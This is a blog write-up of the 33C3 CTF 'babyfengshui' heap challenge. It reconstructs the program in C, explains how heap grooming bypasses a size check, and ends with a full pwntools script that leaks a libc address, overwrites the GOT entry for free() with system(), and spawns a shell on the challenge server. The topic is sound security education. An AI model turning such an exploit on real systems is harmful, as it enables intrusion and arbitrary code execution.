33C3 CTF – babyfengshui

In this challenge, we are provided with a 32-bit ELF (‘babyfengshui’) and a libc file (‘libc-2.19.so’). The program maintains a list of users, which consist of names and descriptions. Here is some example usage, where we add a user and then display it:

0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 0
size of description: 20
name: ABCDE
text length: 10
text: asdf
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 2
index: 0
name: ABCDE
description: asdf
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit

As you can see, there are 4 relevant actions, so let’s go through what each one does. I’ll give example C code because it’s probably easiest to read, though I’m transcribing from assembly/gdb so I’ll certainly be leaving out some details (and I’m not too familiar with C, so there might be mistakes; don’t expect this code to compile). Hopefully, the overall ideas are clear.

struct user {
    char *description;
    char name[124];
};

int num_users_added = 0; // this might actually be a byte, but it doesn't matter
struct user *users[49]; // array of pointers to the added users

void add_user() {
    int size;
    char new_line;
    printf("size of description: ");
    scanf("%u%c", &size, &new_line);
    
    //create the user
    char *description = (char *) malloc(size);
    struct user *new_user = (struct user *) malloc(sizeof(struct user)); // same as malloc(128)
    new_user->description = description;
    users[num_users_added] = new_user; // adds user pointer to the global array

    // read in the name, replacing new line with null byte
    fgets(new_user->name, 124, stdin);
    char *new_line_char = strchr(new_user->name, '\n');
    if (new_line_char != NULL) {
        *new_line_char = 0;
    }

    num_users_added++;

    update_description(num_users_added-1);
}

void update_description(unsigned int user_index) {
    if ((user_index>=num_users_added) || (users[user_index]==0)) {
        return;
    }
    
    int size = 0;
    char new_line;
    printf("text length: ");
    scanf("%u%c", &size, &new_line);

    // check that the user-provided description size isn't too long, which would overflow the heap
    unsigned int description_address = (unsigned int) users[user_index]->description;
    unsigned int user_address = (unsigned int) users[user_index];
    if (description_address+size>=user_address-4) {
        puts("my l33t defenses cannot be fooled, cya!");
        exit(1);
    }

    printf("text: ");
    fgets(users[user_index]->description, size+1, stdin);
    // the newline replace with null byte also happens here but I don't want to clog things up
}

void delete_user(unsigned int user_index) {
    if ((user_index>=num_users_added) || (users[user_index]==0)) {
        return;
    }
    
    free(users[user_index]->description);
    free(users[user_index]);
    users[user_index] = 0;
}

void display_user(unsigned int user_index) {
    if ((user_index>=num_users_added) || (users[user_index]==0)) {
        return;
    }

    printf("name: %s\n", users[user_index]->name);
    printf("description: %s\n", users[user_index]->description);
}

The first action, “0: Add a user”, calls the add_user() function. The second action, “1: Delete a user”, reads in a user index and calls delete_user(index). Similarly, “2: Display a user” reads in an index and calls display_user(index). Finally, in addition to being called by add_user(), the update_description(index) function is also called when choosing “3: Update a user description”.

If you want, you can pause here, look through the provided code, and try to find the exploit. I don’t think it’s too hard, though it took me a few hours to find even after I understood the assembly code (at the end of this post, I’ll list some of the false paths that I went down).

Alright, let’s continue. The main error is in lines 44-46 above, where it checks that the address of the user description, plus the description size, doesn’t overwrite the corresponding user on the heap. The assumption is that the user description and the user are always adjacent on the heap, in which case this is safe. However, if you look at how the memory is allocated and freed, we can pretty easily cause this to not be the cause.

First, make a user. The heap will look something like

user 0 description    user 0 struct
.....................|....................|

Next, make a second user:

user 0 description    user 0 struct        user 1 description   user 1 struct
.....................|....................|....................|................

Next, delete the user with index 0:

free  memory                               user 1 description   user 1 struct
..........................................|....................|................

Finally, make another user, but when it prompts for the “size of description: “, input something larger:

user 2 description            free memory  user 1 description   user 1 struct    user 2 struct
.............................|............|....................|................|.................

The first malloc places the description before user 1, and the second malloc places the struct after user 1! Now, if we call update_description() on user 2, we can overwrite all of the data associated with user 1. In particular, we can overwrite user 1’s description pointer with any address, say target_address. If we then call update_description() on user 1, we can write anything to target_address (as long as it’s before the heap in memory, to pass the “l33t defenses” check), which happens in line 52 of the code.

We can’t overwrite the stack (not that we even know where the stack is), but this does let us overwrite the GOT (Global Offset Table), so we can essentially turn any function into any other function. We can see that “free” is a good candidate, because it gets called on the user description, something we control. Let’s open up gdb to get the libc offsets:

$ gdb libc-2.19.so 
...
...
gdb-peda$ p free
$1 = {<text variable, no debug info>} 0x760f0 <free>
gdb-peda$ p system
$2 = {<text variable, no debug info>} 0x3e3e0 <system>

One last thing: we still need to get a libc address leak in order to overwrite the GOT with the address we want, but luckily the display_user() function does exactly that: if we overwrite the user 1 description pointer with the free() GOT entry, then display_user() will call printf() on that GOT location, which will print the address of free() as long as it contains no null bytes.

To wrap it all up, here are the steps:
1. Add a user (0).
2. Add another user (1).
3. Delete user 0.
4. Add another user (2). Make sure that the description size is large enough so that it “sandwiches” user 1 on the heap.
5. When asked for user 2’s description, make sure that it begins with the characters “/bin/sh\x00”, and that it overwrites user 1’s description pointer with the GOT entry for free() (the heap offset can be found experimentally with gdb).
6. Display user 1, which gives us the libc leak so we can calculate the address of system().
7. Update the description for user 1, overwriting the GOT to turn free() into system().
8. Delete user 2. This should cause the system(“/bin/sh”) call and give us shell.

Here is the awful Python script that I used to implement this:

from pwn import *
import binascii

conn = remote('78.46.224.83',1456)

# make account 0
print conn.recvuntil('Action: ')
conn.sendline('0')
print conn.recvuntil('size of description: ')
conn.sendline('29')
print conn.recvuntil('name: ')
conn.sendline('ABCDEFGHIJKLMNOPQRSTUVWXYZ')
print conn.recvuntil('text length: ')
conn.sendline('24')
print conn.recvuntil('text: ')
conn.sendline('123456789012345678901234')

# make account 1
print conn.recvuntil('Action: ')
conn.sendline('0')
print conn.recvuntil('size of description: ')
conn.sendline('29')
print conn.recvuntil('name: ')
conn.sendline('ABCDEFGHIJKLMNOPQRSTUVWXYZ')
print conn.recvuntil('text length: ')
conn.sendline('10')
print conn.recvuntil('text: ')
conn.sendline('12345678')

# delete account 0
print conn.recvuntil('Action: ')
conn.sendline('1')
print conn.recvuntil('index: ')
conn.sendline('0')

# make account 2
print conn.recvuntil('Action: ')
conn.sendline('0')
print conn.recvuntil('size of description: ')
conn.sendline('80')
print conn.recvuntil('name: ')
conn.sendline('abcdefghijklmnopqrstuvwxyz')
print conn.recvuntil('text length: ')
conn.sendline('180')
print conn.recvuntil('text: ')
conn.sendline('/bin/sh\x00'+'\x10\xb0\x04\x08'*43) # 0x804b010 is the GOT address of free, found using radare2

# display account 1
print conn.recvuntil('Action: ')
conn.sendline('2')
print conn.recvuntil('index: ')
conn.sendline('1')
name_line = conn.recvline()
print name_line
description_line = conn.recvline()
free_lib_addr = description_line[13:17]
print 'found leak:', binascii.hexlify(free_lib_addr)
system_lib_addr = p32(u32(free_lib_addr) - 0x760f0 + 0x3e3e0) # use offsets we calculated earlier
print 'system addr:', binascii.hexlify(system_lib_addr)

# update description for account 1 to overwrite the GOT
print conn.recvuntil('Action: ')
conn.sendline('3')
print conn.recvuntil('index: ')
conn.sendline('1')
print conn.recvuntil('text length: ')
conn.sendline('4')
print conn.recvuntil('text: ')
conn.sendline(system_lib_addr)

# delete account 2, hopefully this works?????
print conn.recvuntil('Action: ')
conn.sendline('1')
print conn.recvuntil('index: ')
conn.sendline('2')

conn.interactive()

Surprisingly, this actually worked on the first try and I got the flag:

...
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 
index: 
[*] Switching to interactive mode
$ ls
babyfengshui
flag.txt
$ cat flag.txt
33C3_h34p_3xp3rts_c4n_gr00m_4nd_f3ng_shu1
Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s